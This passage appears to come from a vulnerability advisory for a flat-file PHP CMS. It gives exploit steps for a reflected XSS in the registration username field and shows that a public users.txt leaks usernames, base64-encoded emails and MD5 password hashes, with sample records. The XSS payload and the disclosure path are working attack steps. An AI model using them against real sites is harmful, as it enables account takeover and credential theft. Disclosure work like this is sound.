[0x02] Bug: [XSS]
######

Bugged file is: /[path]/login.php

[CODE]

if ($u_invalid == 1) { $errors[] = "User <strong>$user</strong> is invalid. 3-15 alphanumeric characters required."; }

[/CODE]

If the username that we typed in the register form is invalid, it will directly appear in the html code.
So we just have to put a js code, like an alert, and we will get a XSS.

[!] FIX: Filter or validate $user before printing it in html code.


[!] EXPLOIT: 
             1) Go at: /[path]/login.php?ls_register
             2) In User form put a js code. (ex: <script>alert("XSS")</script>)
             3) Field the other forms, and press register button.

[0x03] Bug: [Database Disclosure]
######

Bugged file is: /[path]/login.php

[CODE]

	if (empty($errors)) {
		$newline = $records++;
		$e_email = base64_encode($email);
		$data = "$newline||$user||$e_email||$pass\n";
		$fh = fopen($users, 'a') or die("Can't open user database.");
		fwrite($fh, $data);
		fclose($fh);
?>

[/CODE]

This cms uses a flat database, a .txt file where it stores usernames,passwords and emails of the registered
users.

[!] FIX: Don't use this kind of authentication :)


[!] EXPLOIT: /[path]/users.txt

             Informations are printed in this way:
             0||admin||b3NpcnlzQGxpdmUuaXQ=||6e1459df459890dfd8b4c3687c18abba
             1||cazzone||bG9sQGxvbC5pdA==||b7dba5a1bc3605a87b59ac8147512c97

             user_number||username||email(base64 encrypted)||password(md5 encrypted)
